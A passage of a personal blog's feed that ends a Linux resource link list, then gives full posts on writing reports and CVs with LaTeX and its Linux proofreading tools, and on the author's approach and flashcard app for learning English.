&lt;p&gt;SELinux&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://dhavalkapil.com/blogs/Shellcode-Injection/"&gt;Shellcode Injection&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href="http://blog.mailgun.com/security-guide-basic-infrastructure-security/"&gt;Security Guide: How to Protect Your Infrastructure Against the Basic Attacker&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.onkarjoshi.com/blog/191/device-dev-random-vs-urandom/"&gt;/dev/random vs /dev/urandom&lt;/a&gt; &amp;amp; &lt;a href="http://www.2uo.de/myths-about-urandom/"&gt;Myths about /dev/urandom&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://confs.imirhil.fr/20170513_root66_securite-admin-sys/#1"&gt;Hygiène numérique pour l’administrateur système&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://spreadprivacy.com/linux-privacy-tips/"&gt;How To Protect Your Privacy On Linux&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://thegeekyway.com/hands-on-guide-on-gpg-keys/"&gt;Hands-on Guide on GPG Keys&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.void.gr/kargig/blog/2013/12/02/creating-a-new-gpg-key-with-subkeys/"&gt;Creating a new GPG key with subkeys&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.beaupeyrat.com/wp-content/uploads/2015/07/gpg.pdf"&gt;GNU Privacy Guard&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://incenp.org/notes/2015/using-an-offline-gnupg-master-key.html"&gt;Using an offline GnuPG master key&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://wiki.debian.org/Subkeys"&gt;Using OpenPGP subkeys in Debian development&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.debian.org/doc/manuals/securing-debian-howto/index.fr.html"&gt;Securing Debian Manual&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/imthenachoman/How-To-Secure-A-Linux-Server"&gt;How To Secure A Linux Server&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/trimstray/the-practical-linux-hardening-guide#information_source-introduction-3"&gt;the-practical-linux-hardening-guide&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="nginx"&gt;NGINX&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/trimstray/nginx-admins-handbook"&gt;trimstray/nginx-admins-handbook&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="other"&gt;Other&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://tuhdo.github.io/os01/"&gt;Operating System: From 0 to 1&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://mobile.twitter.com/clementd/status/837600575483179009"&gt;xmonad + vimperator&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://medium.com/netflix-techblog/linux-performance-analysis-in-60-000-milliseconds-accc10403c55"&gt;Linux Performance Analysis in 60,000 Milliseconds&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/angrave/SystemProgramming/wiki"&gt;System Programming&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://bash-prompt.net/guides/server-hacked/"&gt;How To Tell If Your Linux Server Has Been Compromised&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=v-jdlc5YdDc"&gt;SystemD pro level linux des temps modernes Process management, containers (P.A. Grégoire, Q. Adam)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://0x46.net/thoughts/2019/02/01/dotfile-madness/"&gt;Dotfile madness&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/trimstray/the-book-of-secret-knowledge#cli-tools-toc"&gt;trimstray/the-book-of-secret-knowledge&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://asciinema.org/"&gt;asciinema: Record and share your terminal sessions, the right way&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content><category term="Linux"></category><category term="linux"></category><category term="ubuntu"></category><category term="xubuntu"></category><category term="debian"></category><category term="unix"></category><category term="gnu"></category></entry><entry><title>The Art Of Writing</title><link href="https://romainpellerin.eu/the-art-of-writing.html" rel="alternate"></link><published>2016-01-27T18:15:00+01:00</published><updated>2017-01-18T01:50:00+01:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2016-01-27:/the-art-of-writing.html</id><summary type="html">&lt;p&gt;How to write reports, CVs, cover letter, the proper way, with the most perfectly suited tool, LaTeX.&lt;/p&gt;</summary><content type="html">&lt;p&gt;Writing any kind of profesionnal document in English is not a straightforward thing, especially if it's not something you do on a regular basis. There are rules to stick to, a formatting to respect, mistakes to avoid. Readers must be able to find information quickly, at the right place. Might it be either in a glossary, a footnote, an appendix, and so on., you must follow a specific order.&lt;/p&gt;
&lt;p&gt;This year, I decided to write my internship report in English and thus stick to what English readers are used to. In general, thoses rules are almost the same as in French, almost. However, there are a few significant differences you'd better know.&lt;/p&gt;
&lt;p&gt;I'm going to first explain how I would write a technical report — it works for an internship report as well, since it's supposed to be technical.&lt;/p&gt;
&lt;h1 id="writing-a-report"&gt;Writing a report&lt;/h1&gt;
&lt;p&gt;I decided to base my report on &lt;a href="https://en.wikipedia.org/wiki/Book_design"&gt;a book design&lt;/a&gt;. However, you can find &lt;a href="https://en.wikibooks.org/wiki/Professional_and_Technical_Writing/Table_of_Contents"&gt;here a complete guide about profesionnal and technical writing&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The report is done in &lt;strong&gt;a two-sided printing style&lt;/strong&gt;. Here is the plan I would follow for an internship or a technical report:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Cover (1 page)&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Blank page&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;Acknowledgments (1 page)&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Blank page&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;Table of contents&lt;/li&gt;
&lt;li&gt;Table of figures and tables&lt;/li&gt;
&lt;li&gt;Foreword (including a technical summary) (&lt;a href="http://www.writersandeditors.com/preface__foreword__or_introduction__57375.htm"&gt;what is the difference between a preface, a foreword, and an introduction?&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Introduction - BODY MATTER - Conclusion&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Glossary and index if needed (on the same page)&lt;/li&gt;
&lt;li&gt;Bibliography&lt;/li&gt;
&lt;li&gt;Appendices (must start on a right-hand (odd-numbered) page, so add a blank page right before if needed): 1 page containing the title "&lt;em&gt;Appendices&lt;/em&gt;", and then the actual appendices&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Do you need a &lt;strong&gt;glossary&lt;/strong&gt;? I will mostly depends on your audience. Glossaries are meant to define complex or unsual words. Glossaries should also contain the definitions of any acronym used. One rule of thumb is pretty simple: who is your audience? Who will read your report. If the answer is people like you, who have the same knowledge, and who will likely understand the report well, then no need for a glossary. On the contrary, if it's intended to be read by anyone, then you likely need a glossary.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href="https://en.wikipedia.org/wiki/Index_(publishing)"&gt;An index&lt;/a&gt;&lt;/strong&gt; is mostly encountered within novels but you might add it in the glossary (add the page numbers after the definitions). It's generally not mandatory at all.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Footnotes&lt;/strong&gt; are rather different. There are meant to add short pieces of information not necessarly related to the main content (like anecdotes, complementary information, web links). In regular books, you might encounter notes at the end of them, which purpose is approximatively the same. However, it's a bit annoying, as it interrupts the flow of reading. It's better suited for long footnotes that wouldn't fit at the bottom of a page. Personally, I don't write notes at the end of a document, I would rather write footnotes. And sometimes, when footnotes are extremely short, you might want to use either &lt;a href="http://english.stackexchange.com/questions/250492/what-is-the-difference-between-a-dash-and-a-semicolon/250494#250494"&gt;a dash or a semicolon to add complementary information&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Appendices&lt;/strong&gt; are for any other document you haven't produced yourself, or big ones, like charts, graphs or emails. They should not be an important part, the reader must be able to understand your point without seeing the appendix. Otherwise, it must go in the main content.&lt;/p&gt;
&lt;p&gt;Pay attention to &lt;strong&gt;headings&lt;/strong&gt;, there are &lt;a href="http://titlecapitalization.com/"&gt;different rules regarding capitalization&lt;/a&gt;.&lt;/p&gt;
&lt;h1 id="writing-a-formal-business-letter"&gt;Writing a formal business letter&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://www.dailywritingtips.com/how-to-format-a-us-business-letter/"&gt;How to format it (the layout)&lt;/a&gt; (&lt;strong&gt;read the comment as well&lt;/strong&gt;)&lt;/li&gt;
&lt;li&gt;The Closing: use "Yours sincerely" when you know your recipient's name, otherwise use "Yours faithfully". If you know the person quite well, you can use "Best regards" or "Kind regards".&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="using-modern-tools"&gt;Using modern tools&lt;/h1&gt;
&lt;p&gt;There are great tools out there to write beautiful reports, not to mention Microsoft Word, Pages or LibreOffice Writer. But these ones are too focused on the form instead of the content. People spend way too much time formatting, adding colors, setting the margins, and so forth, instead of... writing the actual content. Moreover, between two given versions of the same program (let's say Word 2003 and Word 2007), there might be huge differences introducing compatibility issues, not easily solvable.&lt;/p&gt;
&lt;p&gt;So, is there some sort of an ultimate solution? The answer is &lt;strong&gt;YES&lt;/strong&gt;. Let me introduce LaTeX.&lt;/p&gt;
&lt;h2 id="latex"&gt;LaTeX&lt;/h2&gt;
&lt;p&gt;Basically and quickly, it's an open source tool written a while ago which allows you to write any kind of document and export them as PDF (and some other formats). You can write books, reports, CVs, slides, anything! You write it as plain text surrounded with some sort of code (it's a markup language actually). It's available on Linux, Mac and Windows. As it's plain old text, there's no compatibility issue &lt;strong&gt;at all&lt;/strong&gt;. What is more, LaTeX doesn't evolve that much over years so. Should it does some day, they will always ensure backward compatibility. When you're done with it, you just compile it and you're good: a beautiful PDF is procuded. There are plenty of tools available for each platform. For instance, I recommend &lt;code&gt;pdflatex&lt;/code&gt; on Linux. And if you're too lazy to install any of them, use &lt;a href="https://www.sharelatex.com/"&gt;ShareLaTeX&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://github.com/scottkosty/install-tl-ubuntu/blob/master/install-tl-ubuntu"&gt;See this tutorial to install the latest version of LaTeX.&lt;/a&gt;. Otherwise, you might install it using your system package manager:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo aptitude install texlive-full biber &lt;span class="c1"&gt;# biber is for the bibliography&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Then, make sure LaTeX's package manager is working:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo aptitude install xzdec
tlmgr init-usertree
tlmgr update --list
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;In the following lines, I will give some pieces of advice regarding LaTeX and how to use it properly but I will assume you already have some knowledge about it. My purpose is not to write a tutorial about LaTeX at all. These are mainly reminders for myself.&lt;/p&gt;
&lt;p&gt;You can find some examples of CVs, cover letters, reports and slideshows on &lt;a href="https://github.com/rpellerin/LaTeX-templates"&gt;my GitHub account&lt;/a&gt;. For advice about CVs, &lt;a href="https://romainpellerin.eu/how-not-to-get-hired.html"&gt;see my article "How Not To Get Hired"&lt;/a&gt;&lt;/p&gt;
&lt;h3 id="the-commands-input-and-include"&gt;The commands &lt;code&gt;\input{}&lt;/code&gt; and &lt;code&gt;\include{}&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;\input{}&lt;/code&gt; doesn't do &lt;code&gt;\newpage&lt;/code&gt;, unlike &lt;code&gt;\include{}&lt;/code&gt;. &lt;a href="http://tex.stackexchange.com/questions/246/when-should-i-use-input-vs-include"&gt;More info&lt;/a&gt;.&lt;/p&gt;
&lt;h3 id="splitting-files"&gt;Splitting files&lt;/h3&gt;
&lt;p&gt;Is a best practice. I personally try to have "conf" files and "content" files. Then I gather them in the main Tex file (thanks to &lt;code&gt;\input{}&lt;/code&gt;), which will be compiled eventually.&lt;/p&gt;
&lt;h3 id="bibliography"&gt;Bibliography&lt;/h3&gt;
&lt;p&gt;It's a really important part of any report or publication. Basically, there are two engines to compile the ".bib" file: &lt;code&gt;bibtex&lt;/code&gt; and &lt;code&gt;biber&lt;/code&gt;. As well, there are two LaTeX packages to format citations and bibliographies: &lt;code&gt;natbib&lt;/code&gt; and &lt;code&gt;biblatex&lt;/code&gt;. I personally recommend using &lt;strong&gt;&lt;code&gt;biber&lt;/code&gt;&lt;/strong&gt; and &lt;strong&gt;&lt;code&gt;biblatex&lt;/code&gt;&lt;/strong&gt;. &lt;a href="http://tex.stackexchange.com/a/25702/96790"&gt;Read here why.&lt;/a&gt;.&lt;/p&gt;
&lt;h3 id="going-further-with-latex"&gt;Going further with LaTeX&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://framabook.org/docs/latex/framabook-versionenligne_v1_5.pdf"&gt;Tout ce que vous avez toujours voulu savoir sur LATEX sans jamais oser le demander&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://xoph.co/20111024/latex-tutorial/"&gt;Everything You Wanted To Know About TeX, But Were Too Afraid To Ask&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://doc.ubuntu-fr.org/latex"&gt;Documentation Ubuntu FR&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://tex.stackexchange.com/questions/95483/how-to-remove-everything-related-to-tex-live-for-fresh-install-on-ubuntu/95502#95502"&gt;How to remove everything related to TeX Live for fresh install on Ubuntu?&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="unix-tools"&gt;Unix tools&lt;/h2&gt;
&lt;p&gt;Now that you started using LaTeX (I'm glad you did!), you might wonder how to check spelling, grammar, conjugation, etc.? Actually, there are dozens of tools for Linux.&lt;/p&gt;
&lt;h3 id="grammar-and-style"&gt;Grammar and style&lt;/h3&gt;
&lt;p&gt;&lt;a href="http://dsl.org/cookbook/cookbook_15.html#SEC220"&gt;Here are two old fashionned tools to check grammar and style&lt;/a&gt;, installable with&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo apt-get install diction
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;code&gt;diction&lt;/code&gt; and &lt;code&gt;style&lt;/code&gt; are both great tools but don't trust them completely, they tend to be really strict.&lt;/p&gt;
&lt;h3 id="spelling"&gt;Spelling&lt;/h3&gt;
&lt;p&gt;There are three main tools really wide spread among the Linux community&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;aspell&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ispell&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;hunspell&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;They mostly do the same job. However, I would rather recommand &lt;code&gt;aspell&lt;/code&gt; as it's the preferred tool for programmers (&lt;a href="http://blog.binchen.org/posts/what-s-the-best-spell-check-set-up-in-emacs.html"&gt;source&lt;/a&gt;).&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;aspell -l en-US -c -t &amp;lt;file.tex&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3 id="general-tools"&gt;General tools&lt;/h3&gt;
&lt;h4 id="textlint"&gt;TextLint&lt;/h4&gt;
&lt;p&gt;Another awesome tool to check the style, mostly.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;git clone https://github.com/DamienCassou/textlint
&lt;span class="nb"&gt;cd&lt;/span&gt; textlint
./textlint.bash &lt;span class="se"&gt;\&lt;/span&gt;
    &amp;lt;file.tex&amp;gt; &lt;span class="se"&gt;\&lt;/span&gt;
    ./Linux32/pharo &lt;span class="se"&gt;\&lt;/span&gt;
    ./TextLint.tmbundle/Support/TextLint.image
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;They also offer a &lt;a href="http://textlint.lukas-renggli.ch/"&gt;web application&lt;/a&gt;.&lt;/p&gt;
&lt;h4 id="languagetool"&gt;LanguageTool&lt;/h4&gt;
&lt;p&gt;Finally, here is a general word/grammer checker (probably one of the best): &lt;a href="https://languagetool.org/"&gt;languagetool.org&lt;/a&gt;. According to their &lt;a href="http://wiki.languagetool.org/checking-la-tex-with-languagetool"&gt;official documentation regarding LaTeX&lt;/a&gt;, the best way to check any file is as follows. You will need Java version 8 or higher.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo add-apt-repository ppa:openjdk-r/ppa
sudo apt-get update
sudo apt-get install openjdk-8-jdk
sudo update-alternatives --config java
sudo update-alternatives --config javac
java -version &lt;span class="c1"&gt;# Make sure it worked&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Now, &lt;a href="https://languagetool.org/#download"&gt;download languagetool (stand-alone version for Desktop)&lt;/a&gt;. Then:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;detex &amp;lt;file.tex&amp;gt; &lt;span class="p"&gt;|&lt;/span&gt;java -jar languagetool-commandline.jar -l en-US -c UTF-8 &lt;span class="p"&gt;|&lt;/span&gt;less
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;code&gt;detex&lt;/code&gt; will turn your Tex file into a plain text one (it will remove the LaTeX formatting). You can disable rules. Simply add the argument &lt;code&gt;-d&lt;/code&gt; with the rules' IDs (as many as you want), for example:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;java -jar languagetool-commandline.jar -l en-US -c UTF-8 -d &lt;span class="s1"&gt;&amp;#39;EN_QUOTES,UPPERCASE_SENTENCE_START&amp;#39;&lt;/span&gt; &amp;lt;file.tex&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h1 id="books"&gt;Books&lt;/h1&gt;
&lt;p&gt;To conclude, here a two famous books to produce high-quality documents in English:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://en.wikipedia.org/wiki/The_Chicago_Manual_of_Style"&gt;The Chicago Manual of Style&lt;/a&gt;: the ultimate book to learn how to write documents in English and be the perfect writer. Best suited for journalists.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://en.wikipedia.org/wiki/The_Elements_of_Style"&gt;The Elements of Style&lt;/a&gt;: a short and yet excellent book to know the basic rules and avoid common mistakes and pitfalls.&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="great-articles"&gt;Great articles&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://www.uni.edu/~gotera/gradapp/stmtpurpose.htm"&gt;How to Write a Great Statement of Purpose&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content><category term="Miscellaneous"></category><category term="writing"></category><category term="english"></category><category term="latex"></category><category term="cv"></category><category term="resume"></category><category term="cover letter"></category><category term="report"></category></entry><entry><title>Learning A Foreign Language</title><link href="https://romainpellerin.eu/learning-a-foreign-language.html" rel="alternate"></link><published>2016-01-21T17:20:00+01:00</published><updated>2022-10-11T11:10:00+02:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2016-01-21:/learning-a-foreign-language.html</id><summary type="html">&lt;p&gt;My process I went through to learn a foreign language, English. And some tips.&lt;/p&gt;</summary><content type="html">&lt;p&gt;Learning a foreign language is not easy whatsoever. In this article, I try to gather all the techniques and tips I used to learn a foreign language, English. I also put into perspective all those years spent learning. For the last couple of months, I made some research about languages. I'm actually really into being as fluent as possible in this language, my ideal goal would be being completely bilingual and sound like a native speaker (although some people might find the French accent "cute").&lt;/p&gt;
&lt;p&gt;I was lucky enough to get taught English early, when I was around 9 or 10 years old. As of that period, I've never stopped having English classes. But as the world knows, French people really suck at English and disregard it completely. I would also add that our educational system regarding foreign languages is not that good. People don't get involved. It might be one of the reasons why our level is not as high as our European neighbors'. However, from a personal point a view, I've always been extremely interested in English, whereas I completely gave up Spanish after high school. English is the Wold language thus I see no point in learning a third language, despite Spanish might be more spread than French. What is more, English is ubiquitous in Computer Science.&lt;/p&gt;
&lt;p&gt;A few years ago, right after graduating from high school, I started being even more interested in English, willing to work harder in order to improve my level. As I was heading towards Computer Science studies, I realized how important this language would be for me, in the long term. That was the starting point of my &lt;strong&gt;English learning journey&lt;/strong&gt;. A sheer dive into that language.&lt;/p&gt;
&lt;h1 id="stages"&gt;Stages&lt;/h1&gt;
&lt;p&gt;There are a few stages one has to go through during the process of learning a foreign language. What follows is about how English is taught in France.&lt;/p&gt;
&lt;h2 id="education"&gt;Education&lt;/h2&gt;
&lt;p&gt;The very first step is learning the basics, simple sentences, etc. That's what school is for. Being able to introduce yourself, talk about your family and interests, ask simple questions or get help from passers-by. That's basically what we learn in France in elementary school. At the end, pupils are supposed to have a A1 level (it's a European level). Then, comes middle school and more complex grammar. You get to know the tenses, and have dozens of irregular verbs to learn by heart. You also learn how to express common feelings or whishes and build conditional clauses. This will leave students with a B1 level. For the next three years of high school, teaching would continue, going a bit further, to finally reach a B2 level (supposedly, in facts most of people don't have such a level).&lt;/p&gt;
&lt;p&gt;Then starts higher education. Students can choose freely to keep studying English or not, mostly depending on their studies. I did continue.&lt;/p&gt;
&lt;p&gt;After that period, unless they were actually studying languages (or English), most people feel like they hadn't made huge progress over their college years. It seems like they've reached the peak and can no long make any significant progress. Of course you improve your vocabulary, you get used to new expressions, your general oral and reading comprehension increase a bit, but not that much. Unless you decide to take the bull by the horns, on your own.&lt;/p&gt;
&lt;h2 id="active-and-passive-vocabulary"&gt;Active and passive vocabulary&lt;/h2&gt;
&lt;p&gt;It has been demonstrated that each individual has two categories of vocabulary for each language they know: &lt;strong&gt;the active vocabulary and the passive one&lt;/strong&gt;. The latter is basically made of known words but that you wouldn't use normally, out of the blue. You know the definition or the meaning, you just don't use it. If you hear it or read it, you would understand. On the contrary, the active vocabulary includes all the — known — words you would daily — or often — use, either when talking or writing.&lt;/p&gt;
&lt;p&gt;According to &lt;a href="http://www.lingholic.com/how-many-words-do-i-need-to-know-the-955-rule-in-language-learning-part-2/"&gt;this website&lt;/a&gt;, native English speakers have an average of 20.000 words in their active vocabulary whereas they have around 40.000 in their passive. This is a gigantic difference.&lt;/p&gt;
&lt;div style="text-align: center"&gt;
&lt;img src="https://romainpellerin.eu/images/learn-language-vocabulary.png" alt="Active and passive vocabulary" /&gt;
&lt;/div&gt;

&lt;p&gt;My guess is that all along your course to learn a foreign language, your two types of vocabulary evolve like this:&lt;/p&gt;
&lt;div style="text-align: center"&gt;
&lt;img src="https://romainpellerin.eu/images/learn-language-curve.png" alt="Learning curve" /&gt;
&lt;/div&gt;

&lt;p&gt;When you take up classes during childhood, your two kinds of vocabulary are mixed up. A some point they slightly fork, like after elementary school. Then, when you have your first experience abroad, your amount of passive and active vocabulary will usually soar. But still, the gap between the two of them increases, making an even bigger difference.&lt;/p&gt;
&lt;p&gt;I personally reached that stage where I can fluently read an English book written by a journalist without having to look words up too frequently. And yet, my oral expression is not that good.&lt;/p&gt;
&lt;p&gt;Consequently, the following parts of this article will then be dedicated to finding efficient and handy ways to reduce that growing gap.&lt;/p&gt;
&lt;h1 id="lets-code-something"&gt;Let's code something&lt;/h1&gt;
&lt;p&gt;From September 2015, I'm having my longest experience abroad, taking place in the Netherlands, a country where &lt;strong&gt;every single person&lt;/strong&gt; speaks English (which is really awesome for a French country boy like me).&lt;/p&gt;
&lt;p&gt;In November, I decided to start writting down all the unknown vocabulary or expressions I would come across, in a text file. Then, as the file was growing bigger and bigger, I thought I needed something else. Going back through that long list would have been painful and not convenient. I needed something I could do wherever and whenever I want. Most of all, I wanted to keep a trace of my improvements.&lt;/p&gt;
&lt;p&gt;I spent some time for reflection and I eventually came up with an idea: a mobile app. Indeed, I carry my smartphone everywhere and thus can use it at any time. I also thought that a Tinder-like app might just be perfectly suited for my need. The idea was to swipe left if the word was unknown, swipe right otherwise. The definition would appear on a swipe left.&lt;/p&gt;
&lt;p&gt;With such an app, I would get exposed to my vocabulary list frequently, many times a day. The words swiped left would be more likely to appear often, whereas those swiped right would appear rarely.&lt;/p&gt;
&lt;p&gt;Today, I'm proud to announce that the project is officially &lt;a href="https://github.com/rpellerin/learn-a-foreign-language"&gt;available on Github&lt;/a&gt;. It's open source, so feel free to contribute. Moreover, the app has been &lt;a href="https://play.google.com/store/apps/details?id=learnaforeignlanguage.eu.romainpellerin"&gt;published on the Android Play Store&lt;/a&gt;. Finally, &lt;a href="http://learnenglishbackend-romainpellerin.rhcloud.com/"&gt;here is the website&lt;/a&gt; to create an account and add words or expressions to lists.&lt;/p&gt;
&lt;div style="text-align: center"&gt;
&lt;img src="https://romainpellerin.eu/images/learn-language-app.gif" alt="My Android app" /&gt;
&lt;/div&gt;

&lt;p&gt;Let's now move on to other ways to reduce that gap between active and passive vocabulary.&lt;/p&gt;
&lt;h1 id="reading"&gt;Reading&lt;/h1&gt;
&lt;p&gt;Reading is key to a drastic increase of your vocabulary. You stumble upon loads of unknown words, complex expressions, strange clauses and so on.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Online newspaper&lt;/strong&gt; are a great solution to get used to expressions commonly written. Specialized newspapers are great as well to meet specific vocabulary.&lt;/p&gt;
&lt;p&gt;Books (novels, journalists's books, comics) are other rich sources of knowledge and vocabulary. It might be of any kind but what's sure is that you will learn. I find comics really useful when it comes to learning some slang.&lt;/p&gt;
&lt;h1 id="watching"&gt;Watching&lt;/h1&gt;
&lt;p&gt;TV series are the equivalent of comics: full of slang vocabulary, hardly enunciated, whereas movies are richer. Nonetheless, they are really efficient and most of the time they will teach you the correct pronounciation of unknown words. It's also easy to get acquinted to British and American accents.&lt;/p&gt;
&lt;p&gt;One can alos watch the news. Journalists normally have a good pronounciation and use fairly simple vocabulary.&lt;/p&gt;
&lt;h1 id="listening"&gt;Listening&lt;/h1&gt;
&lt;p&gt;The Internet is full of &lt;a href="http://www.bbc.co.uk/podcasts"&gt;high-quality podcasts&lt;/a&gt;, take advantage of them if you don't have much time to spend reading or watching.&lt;/p&gt;
&lt;h1 id="writing"&gt;Writing&lt;/h1&gt;
&lt;p&gt;Finally, I need to mention writing. It's not well known, and that's a pity. But writing is one of the most efficient ways to put into practice what you daily learn and make sure you don't forget it. It's just like rehearsing. Write blog posts, write comments, send out emails, but get out of your comfort zone and do it in a foreign language!&lt;/p&gt;
&lt;p&gt;If you have the opportunity, write reports in English as well, or give presentations in English, and so on.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;There's no frontier to knowledge, embrace a foreign language right now :-)&lt;/p&gt;
&lt;h1 id="resources"&gt;Resources&lt;/h1&gt;
&lt;p&gt;&lt;a href="http://rawlangs.com/blog/"&gt;Here is a really good blog to go even further with foreign languages.&lt;/a&gt; And the guy who owns the blog also gives talks sometimes, here is one from him, about reading comprehension:&lt;/p&gt;
&lt;iframe width="700" height="394" src="https://www.youtube-nocookie.com/embed/xgQZfS_BMVo?rel=0" frameborder="0" allowfullscreen&gt;&lt;/iframe&gt;

&lt;p&gt;To conclude, try to &lt;a href="http://www.thepoke.co.uk/2011/12/23/english-pronunciation/"&gt;read this&lt;/a&gt;. Good luck!&lt;/p&gt;
&lt;h2 id="going-further-with-german"&gt;Going further with German&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.thelocal.de/20221010/5-of-the-most-cringeworthy-mistakes-ive-made-in-german/"&gt;5 of the most cringeworthy mistakes I’ve made in German&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="going-further-with-english"&gt;Going further with English&lt;/h2&gt;
&lt;p&gt;I decided to gather here all the little things to know in English, which are not obvious.&lt;/p&gt;
&lt;h3 id="common-pair-words"&gt;Common pair words&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://www.freecollocation.com/"&gt;Online OXFORD Collocation Dictionary&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.ozdic.com/collocation-dictionary/"&gt;ozdic - the English Collocations Dictionary online&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="other-things-to-know-in-english"&gt;Other things to know in English&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://en.wikipedia.org/wiki/Idiom"&gt;Idiom&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://english.stackexchange.com/questions/272361/what-is-the-difference-between-trash-garbage-litter-rubbish-waste"&gt;What is the difference between trash, garbage, litter, rubbish, waste?&lt;/a&gt;&lt;/li&gt;
